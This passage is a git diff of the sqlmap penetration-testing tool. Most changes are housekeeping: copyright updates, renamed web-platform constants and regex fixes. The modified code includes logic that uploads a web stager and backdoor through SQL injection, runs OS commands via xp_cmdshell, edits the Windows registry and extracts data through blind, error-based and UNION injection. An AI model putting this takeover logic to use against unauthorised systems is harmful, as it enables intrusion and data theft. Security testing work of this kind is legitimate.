+Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -33,19 +33,19 @@ def _initVars(self, regKey, regValue, regType=None, regData=None, parse=False): readParse = "REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\"" self._batRead = ( - "@ECHO OFF\r\n", - readParse, - ) + "@ECHO OFF\r\n", + readParse, + ) self._batAdd = ( - "@ECHO OFF\r\n", - "REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self._regKey, self._regValue, self._regType, self._regData), - ) + "@ECHO OFF\r\n", + "REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self._regKey, self._regValue, self._regType, self._regData), + ) self._batDel = ( - "@ECHO OFF\r\n", - "REG DELETE \"%s\" /v \"%s\" /f" % (self._regKey, self._regValue), - ) + "@ECHO OFF\r\n", + "REG DELETE \"%s\" /v \"%s\" /f" % (self._regKey, self._regValue), + ) def _createLocalBatchFile(self): self._batPathFp = open(self._batPathLocal, "w") diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py index ed0ad2c4167..e5f7c9e5049 100644 --- a/lib/takeover/udf.py +++ b/lib/takeover/udf.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -108,7 +108,7 @@ def udfEvalCmd(self, cmd, first=None, last=None, udfName=None): return output def udfCheckNeeded(self): - if (not conf.rFile or (conf.rFile and not Backend.isDbms(DBMS.PGSQL))) and "sys_fileread" in self.sysUdfs: + if (not conf.fileRead or (conf.fileRead and not Backend.isDbms(DBMS.PGSQL))) and "sys_fileread" in self.sysUdfs: self.sysUdfs.pop("sys_fileread") if not conf.osPwn: diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 2952a127f0b..445270f285e 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -43,15 +43,16 @@ from lib.core.enums import OS from lib.core.enums import PAYLOAD from lib.core.enums import PLACE -from lib.core.enums import WEB_API +from lib.core.enums import WEB_PLATFORM from lib.core.exception import SqlmapNoneDataException from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT from lib.core.settings import EVENTVALIDATION_REGEX +from lib.core.settings import SHELL_RUNCMD_EXE_TAG +from lib.core.settings import SHELL_WRITABLE_DIR_TAG from lib.core.settings import VIEWSTATE_REGEX from lib.request.connect import Connect as Request from thirdparty.oset.pyoset import oset - class Web: """ This class defines web-oriented OS takeover functionalities for @@ -59,7 +60,7 @@ class Web: """ def __init__(self): - self.webApi = None + self.webPlatform = None self.webBaseUrl = None self.webBackdoorUrl = None self.webBackdoorFilePath = None @@ -108,14 +109,14 @@ def _webFileStreamUpload(self, stream, destFileName, directory): except TypeError: pass - if self.webApi in getPublicTypeMembers(WEB_API, True): + if self.webPlatform in getPublicTypeMembers(WEB_PLATFORM, True): multipartParams = { - "upload": "1", - "file": stream, - "uploadDir": directory, - } + "upload": "1", + "file": stream, + "uploadDir": directory, + } - if self.webApi == WEB_API.ASPX: + if self.webPlatform == WEB_PLATFORM.ASPX: multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION multipartParams['__VIEWSTATE'] = kb.data.__VIEWSTATE @@ -129,12 +130,12 @@ def _webFileStreamUpload(self, stream, destFileName, directory): else: return True else: - logger.error("sqlmap hasn't got a web backdoor nor a web file stager for %s" % self.webApi) + logger.error("sqlmap hasn't got a web backdoor nor a web file stager for %s" % self.webPlatform) return False def _webFileInject(self, fileContent, fileName, directory): outFile = posixpath.join(ntToPosixSlashes(directory), fileName) - uplQuery = getUnicode(fileContent).replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) + uplQuery = getUnicode(fileContent).replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) query = "" if isTechniqueAvailable(kb.technique): @@ -145,8 +146,7 @@ def _webFileInject(self, fileContent, fileName, directory): query += "OR %d=%d " % (randInt, randInt) query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=hexencode(uplQuery, conf.encoding)) - query = agent.prefixQuery(query) - query = agent.suffixQuery(query) + query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required) payload = agent.payload(newValue=query) page = Request.queryPage(payload) @@ -158,13 +158,13 @@ def webInit(self): remote directory within the web server document root. """ - if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None: + if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webPlatform is not None: return self.checkDbmsOs() default = None - choices = list(getPublicTypeMembers(WEB_API, True)) + choices = list(getPublicTypeMembers(WEB_PLATFORM, True)) for ext in choices: if conf.url.endswith(ext): @@ -172,7 +172,7 @@ def webInit(self): break if not default: - default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP + default = WEB_PLATFORM.ASP if Backend.isOs(OS.WINDOWS) else WEB_PLATFORM.PHP message = "which web application language does the web server " message += "support?\n" @@ -196,7 +196,7 @@ def webInit(self): logger.warn("invalid value, it must be between 1 and %d" % len(choices)) else: - self.webApi = choices[int(choice) - 1] + self.webPlatform = choices[int(choice) - 1] break if not kb.absFilePaths: @@ -218,7 +218,7 @@ def webInit(self): finally: been.add(url) - url = re.sub(r"(\.\w+)\Z", "~\g<1>", conf.url) + url = re.sub(r"(\.\w+)\Z", r"~\g<1>", conf.url) if url not in been: try: page, _, _ = Request.getPage(url=url, raise404=False, silent=True) @@ -230,7 +230,7 @@ def webInit(self): for place in (PLACE.GET, PLACE.POST): if place in conf.parameters: - value = re.sub(r"(\A|&)(\w+)=", "\g<2>[]=", conf.parameters[place]) + value = re.sub(r"(\A|&)(\w+)=", r"\g<2>[]=", conf.parameters[place]) if "[]" in value: page, headers, _ = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) @@ -242,12 +242,12 @@ def webInit(self): cookie = headers[HTTP_HEADER.SET_COOKIE] if cookie: - value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie) + value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie) if value != cookie: page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) - value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=", cookie) + value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=", cookie) if value != cookie: page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) @@ -257,6 +257,7 @@ def webInit(self): directories = list(oset(directories)) path = urlparse.urlparse(conf.url).path or '/' + path = re.sub(r"/[^/]*\.\w+\Z", '/', path) if path != '/': _ = [] for directory in directories: @@ -265,16 +266,16 @@ def webInit(self): _.append("%s/%s" % (directory.rstrip('/'), path.strip('/'))) directories = _ - backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi) - backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webApi)) + backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webPlatform) + backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webPlatform)) - stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi)) + stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform)) for directory in directories: if not directory: continue - stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) + stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform) self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName) uploaded = False @@ -316,15 +317,15 @@ def webInit(self): infoMsg += "via UNION method" logger.info(infoMsg) - stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) + stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform) self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName) handle, filename = tempfile.mkstemp() os.close(handle) with open(filename, "w+b") as f: - _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi)) - _ = _.replace("WRITABLE_DIR", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)) + _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform)) + _ = _.replace(SHELL_WRITABLE_DIR_TAG, utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)) f.write(_) self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True) @@ -352,7 +353,7 @@ def webInit(self): logger.warn(warnMsg) continue - elif self.webApi == WEB_API.ASPX: + elif self.webPlatform == WEB_PLATFORM.ASPX: kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage) kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage) @@ -360,7 +361,7 @@ def webInit(self): infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl) logger.info(infoMsg) - if self.webApi == WEB_API.ASP: + if self.webPlatform == WEB_PLATFORM.ASP: match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) if match: @@ -369,7 +370,7 @@ def webInit(self): continue _ = "tmpe%s.exe" % randomStr(lowercase=True) - if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)): + if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace(SHELL_WRITABLE_DIR_TAG, backdoorDirectory).replace(SHELL_RUNCMD_EXE_TAG, _)): self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_")) self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName) self.webDirectory = backdoorDirectory diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py index a9b17dd7701..d4db1a6b59a 100644 --- a/lib/takeover/xp_cmdshell.py +++ b/lib/takeover/xp_cmdshell.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -24,6 +24,7 @@ from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.decorators import stackedmethod from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED @@ -96,6 +97,7 @@ def _xpCmdshellCheck(self): return wasLastResponseDelayed() + @stackedmethod def _xpCmdshellTest(self): threadData = getCurrentThreadData() pushValue(threadData.disableStdOut) @@ -134,7 +136,7 @@ def xpCmdshellWriteFile(self, fileContent, tmpPath, randDestFile): for line in lines: echoedLine = "echo %s " % line - echoedLine += ">> \"%s\%s\"" % (tmpPath, randDestFile) + echoedLine += ">> \"%s\\%s\"" % (tmpPath, randDestFile) echoedLines.append(echoedLine) for echoedLine in echoedLines: @@ -214,7 +216,7 @@ def xpCmdshellEvalCmd(self, cmd, first=None, last=None): if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: output = inject.getValue(query, resumeValue=False, blind=False, time=False) - if (output is None) or len(output)==0 or output[0] is None: + if (output is None) or len(output) == 0 or output[0] is None: output = [] count = inject.getValue("SELECT COUNT(id) FROM %s" % self.cmdTblName, resumeValue=False, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) diff --git a/lib/techniques/__init__.py b/lib/techniques/__init__.py index 7181b22a163..c654cbef7f4 100644 --- a/lib/techniques/__init__.py +++ b/lib/techniques/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/blind/__init__.py b/lib/techniques/blind/__init__.py index 7181b22a163..c654cbef7f4 100644 --- a/lib/techniques/blind/__init__.py +++ b/lib/techniques/blind/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 4116d4d5e2f..ce869360e7e 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -69,6 +69,9 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None finalValue = None retrievedLength = 0 + if payload is None: + return 0, None + if charsetType is None and conf.charset: asciiTbl = sorted(set(ord(_) for _ in conf.charset)) else: @@ -187,7 +190,7 @@ def tryHint(idx): with hintlock: hintValue = kb.hintValue - if hintValue is not None and len(hintValue) >= idx: + if payload is not None and hintValue is not None and len(hintValue) >= idx: if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2): posValue = hintValue[idx - 1] else: @@ -223,7 +226,7 @@ def validateChar(idx, value): result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) - if result and timeBasedCompare: + if result and timeBasedCompare and kb.injection.data[kb.technique].trueCode: result = threadData.lastCode == kb.injection.data[kb.technique].trueCode if not result: warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, kb.injection.data[kb.technique].trueCode) @@ -469,7 +472,6 @@ def blindThread(): currentCharIndex = threadData.shared.index[0] if kb.threadContinue: - start = time.time() val = getChar(currentCharIndex, asciiTbl, not(charsetType is None and conf.charset)) if val is None: val = INFERENCE_UNKNOWN_CHAR @@ -482,7 +484,7 @@ def blindThread(): if kb.threadContinue: if showEta: - progress.progress(calculateDeltaSeconds(start), threadData.shared.index[0]) + progress.progress(threadData.shared.index[0]) elif conf.verbose >= 1: startCharIndex = 0 endCharIndex = 0 @@ -499,7 +501,7 @@ def blindThread(): count = threadData.shared.start for i in xrange(startCharIndex, endCharIndex + 1): - output += '_' if currentValue[i] is None else currentValue[i] + output += '_' if currentValue[i] is None else filterControlChars(currentValue[i] if len(currentValue[i]) == 1 else ' ', replacement=' ') for i in xrange(length): count += 1 if currentValue[i] is not None else 0 @@ -516,7 +518,7 @@ def blindThread(): status = ' %d/%d (%d%%)' % (_, length, int(100.0 * _ / length)) output += status if _ != length else " " * len(status) - dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output))) + dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), output)) runThreads(numThreads, blindThread, startThreadMsg=False) @@ -550,7 +552,6 @@ def blindThread(): while True: index += 1 - start = time.time() # Common prediction feature (a.k.a. "good samaritan") # NOTE: to be used only when multi-threading is not set for @@ -575,7 +576,7 @@ def blindThread(): # Did we have luck? if result: if showEta: - progress.progress(calculateDeltaSeconds(start), len(commonValue)) + progress.progress(len(commonValue)) elif conf.verbose in (1, 2) or conf.api: dataToStdout(filterControlChars(commonValue[index - 1:])) @@ -611,7 +612,7 @@ def blindThread(): # If we had no luck with commonValue and common charset, # use the returned other charset if not val: - val = getChar(index, otherCharset, otherCharset==asciiTbl) + val = getChar(index, otherCharset, otherCharset == asciiTbl) else: val = getChar(index, asciiTbl, not(charsetType is None and conf.charset)) @@ -625,7 +626,7 @@ def blindThread(): threadData.shared.value = partialValue = partialValue + val if showEta: - progress.progress(calculateDeltaSeconds(start), index) + progress.progress(index) elif conf.verbose in (1, 2) or conf.api: dataToStdout(filterControlChars(val)) diff --git a/lib/techniques/dns/__init__.py b/lib/techniques/dns/__init__.py index 7181b22a163..c654cbef7f4 100644 --- a/lib/techniques/dns/__init__.py +++ b/lib/techniques/dns/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/dns/test.py b/lib/techniques/dns/test.py index 3910e1302ec..361a3b088f0 100644 --- a/lib/techniques/dns/test.py +++ b/lib/techniques/dns/test.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -14,7 +14,6 @@ from lib.core.exception import SqlmapNotVulnerableException from lib.techniques.dns.use import dnsUse - def dnsTest(payload): logger.info("testing for data retrieval through DNS channel") diff --git a/lib/techniques/dns/use.py b/lib/techniques/dns/use.py index 42914f16693..7a37736d99f 100644 --- a/lib/techniques/dns/use.py +++ b/lib/techniques/dns/use.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -33,7 +33,6 @@ from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request - def dnsUse(payload, expression): """ Retrieve the output of a SQL query taking advantage of the DNS @@ -84,7 +83,7 @@ def dnsUse(payload, expression): _ = conf.dnsServer.pop(prefix, suffix) if _: - _ = extractRegexResult("%s\.(?P.+)\.%s" % (prefix, suffix), _, re.I) + _ = extractRegexResult(r"%s\.(?P.+)\.%s" % (prefix, suffix), _, re.I) _ = decodeHexValue(_) output = (output or "") + _ offset += len(_) diff --git a/lib/techniques/error/__init__.py b/lib/techniques/error/__init__.py index 7181b22a163..c654cbef7f4 100644 --- a/lib/techniques/error/__init__.py +++ b/lib/techniques/error/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index 769e0991a2c..f6ded61f17d 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -16,6 +16,7 @@ from lib.core.common import dataToStdout from lib.core.common import decodeHexValue from lib.core.common import extractRegexResult +from lib.core.common import firstNotNone from lib.core.common import getConsoleWidth from lib.core.common import getPartRun from lib.core.common import getUnicode @@ -102,7 +103,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): try: while True: check = r"(?si)%s(?P.*?)%s" % (kb.chars.start, kb.chars.stop) - trimcheck = r"(?si)%s(?P[^<\n]*)" % kb.chars.start + trimCheck = r"(?si)%s(?P[^<\n]*)" % kb.chars.start if field: nulledCastedField = agent.nullAndCastField(field) @@ -133,20 +134,22 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): # Parse the returned page to get the exact error-based # SQL injection output - output = reduce(lambda x, y: x if x is not None else y, (\ - extractRegexResult(check, page), \ - extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None), \ - extractRegexResult(check, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)), \ - extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)), \ - None) + output = firstNotNone( + extractRegexResult(check, page), + extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None), + extractRegexResult(check, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)), + extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None) + ) if output is not None: output = getUnicode(output) else: - trimmed = extractRegexResult(trimcheck, page) \ - or extractRegexResult(trimcheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None) \ - or extractRegexResult(trimcheck, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)) \ - or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None) + trimmed = firstNotNone( + extractRegexResult(trimCheck, page), + extractRegexResult(trimCheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None), + extractRegexResult(trimCheck, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)), + extractRegexResult(trimCheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None) + ) if trimmed: if not chunkTest: @@ -160,7 +163,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): output = extractRegexResult(check, trimmed, re.IGNORECASE) if not output: - check = "(?P[^\s<>'\"]+)" + check = r"(?P[^\s<>'\"]+)" output = extractRegexResult(check, trimmed, re.IGNORECASE) else: output = output.rstrip() @@ -241,7 +244,7 @@ def _errorFields(expression, expressionFields, expressionFieldsList, num=None, e if kb.fileReadMode and output and output.strip(): print elif output is not None and not (threadData.resumed and kb.suppressResumeInfo) and not (emptyFields and field in emptyFields): - status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", output if kb.safeCharEncode else safecharencode(output)) + status = "[%s] [INFO] %s: '%s'" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", output if kb.safeCharEncode else safecharencode(output)) if len(status) > width: status = "%s..." % status[:width - 3] @@ -308,12 +311,7 @@ def errorUse(expression, dump=False): # entry at a time # NOTE: we assume that only queries that get data from a table can # return multiple entries - if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in \ - expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) \ - or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \ - expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \ - and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) \ - and not re.search(SQL_SCALAR_REGEX, expression, re.I): + if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) and not re.search(SQL_SCALAR_REGEX, expression, re.I): expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump) if limitCond: @@ -334,7 +332,7 @@ def errorUse(expression, dump=False): stopLimit = int(count) infoMsg = "used SQL query returns " - infoMsg += "%d entries" % stopLimit + infoMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry") logger.info(infoMsg) elif count and not count.isdigit(): @@ -404,7 +402,6 @@ def errorThread(): while kb.threadContinue: with kb.locks.limit: try: - valueStart = time.time() threadData.shared.counter += 1 num = threadData.shared.limits.next() except StopIteration: @@ -416,12 +413,12 @@ def errorThread(): break if output and isListLike(output) and len(output) == 1: - output = output[0] + output = unArrayizeValue(output) with kb.locks.value: index = None if threadData.shared.showEta: - threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter) + threadData.shared.progress.progress(threadData.shared.counter) for index in xrange(1 + len(threadData.shared.buffered)): if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num: break @@ -447,8 +444,11 @@ def errorThread(): if not value and not abortedFlag: value = _errorFields(expression, expressionFields, expressionFieldsList) - if value and isListLike(value) and len(value) == 1 and isinstance(value[0], basestring): - value = value[0] + if value and isListLike(value): + if len(value) == 1 and isinstance(value[0], basestring): + value = unArrayizeValue(value) + elif len(value) > 1 and stopLimit == 1: + value = [value] duration = calculateDeltaSeconds(start) diff --git a/lib/techniques/union/__init__.py b/lib/techniques/union/__init__.py index 7181b22a163..c654cbef7f4 100644 --- a/lib/techniques/union/__init__.py +++ b/lib/techniques/union/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index ce659ec01e7..e8bd84546c7 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -27,6 +27,7 @@ from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.decorators import stackedmethod from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import PAYLOAD from lib.core.settings import LIMITED_ROWS_TEST_NUMBER @@ -48,15 +49,16 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where= """ retVal = None - def _orderByTechnique(): + @stackedmethod + def _orderByTechnique(lowerCount=None, upperCount=None): def _orderByTest(cols): query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix) query = agent.suffixQuery(query, suffix=suffix, comment=comment) payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where) page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False) - return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order by", "unknown column", "failed")) and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I) + return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order (by|clause)", "unknown column", "failed")) and not kb.heavilyDynamic and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I) is not None - if _orderByTest(1) and not _orderByTest(randomInt()): + if _orderByTest(1 if lowerCount is None else lowerCount) and not _orderByTest(randomInt() if upperCount is None else upperCount + 1): infoMsg = "'ORDER BY' technique appears to be usable. " infoMsg += "This should reduce the time needed " infoMsg += "to find the right number " @@ -64,10 +66,10 @@ def _orderByTest(cols): infoMsg += "range for current UNION query injection technique test" singleTimeLogMessage(infoMsg) - lowCols, highCols = 1, ORDER_BY_STEP + lowCols, highCols = 1 if lowerCount is None else lowerCount, ORDER_BY_STEP if upperCount is None else upperCount found = None while not found: - if _orderByTest(highCols): + if not conf.uCols and _orderByTest(highCols): lowCols = highCols highCols += ORDER_BY_STEP else: @@ -88,8 +90,8 @@ def _orderByTest(cols): kb.errorIsNone = False lowerCount, upperCount = conf.uColsStart, conf.uColsStop - if lowerCount == 1: - found = kb.orderByColumns or _orderByTechnique() + if kb.orderByColumns is None and (lowerCount == 1 or conf.uCols): # ORDER BY is not bullet-proof + found = _orderByTechnique(lowerCount, upperCount) if conf.uCols else _orderByTechnique() if found: kb.orderByColumns = found infoMsg = "target URL appears to have %d column%s in query" % (found, 's' if found > 1 else "") @@ -114,10 +116,10 @@ def _orderByTest(cols): items.append((count, ratio)) if not isNullValue(kb.uChar): - for regex in (kb.uChar, r'>\s*%s\s*<' % kb.uChar): - contains = tuple((count, re.search(regex, _ or "", re.IGNORECASE) is not None) for count, _ in pages.items()) - if len(filter(lambda _: _[1], contains)) == 1: - retVal = filter(lambda _: _[1], contains)[0][0] + for regex in (kb.uChar.strip("'"), r'>\s*%s\s*<' % kb.uChar.strip("'")): + contains = [count for count, content in pages.items() if re.search(regex, content or "", re.IGNORECASE) is not None] + if len(contains) == 1: + retVal = contains[0] break if not retVal: @@ -142,14 +144,16 @@ def _orderByTest(cols): elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE: deviation = stdev(ratios) - lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation - if min_ < lower: - retVal = minItem[0] + if deviation is not None: + lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation - if max_ > upper: - if retVal is None or abs(max_ - upper) > abs(min_ - lower): - retVal = maxItem[0] + if min_ < lower: + retVal = minItem[0] + + if max_ > upper: + if retVal is None or abs(max_ - upper) > abs(min_ - lower): + retVal = maxItem[0] finally: kb.errorIsNone = 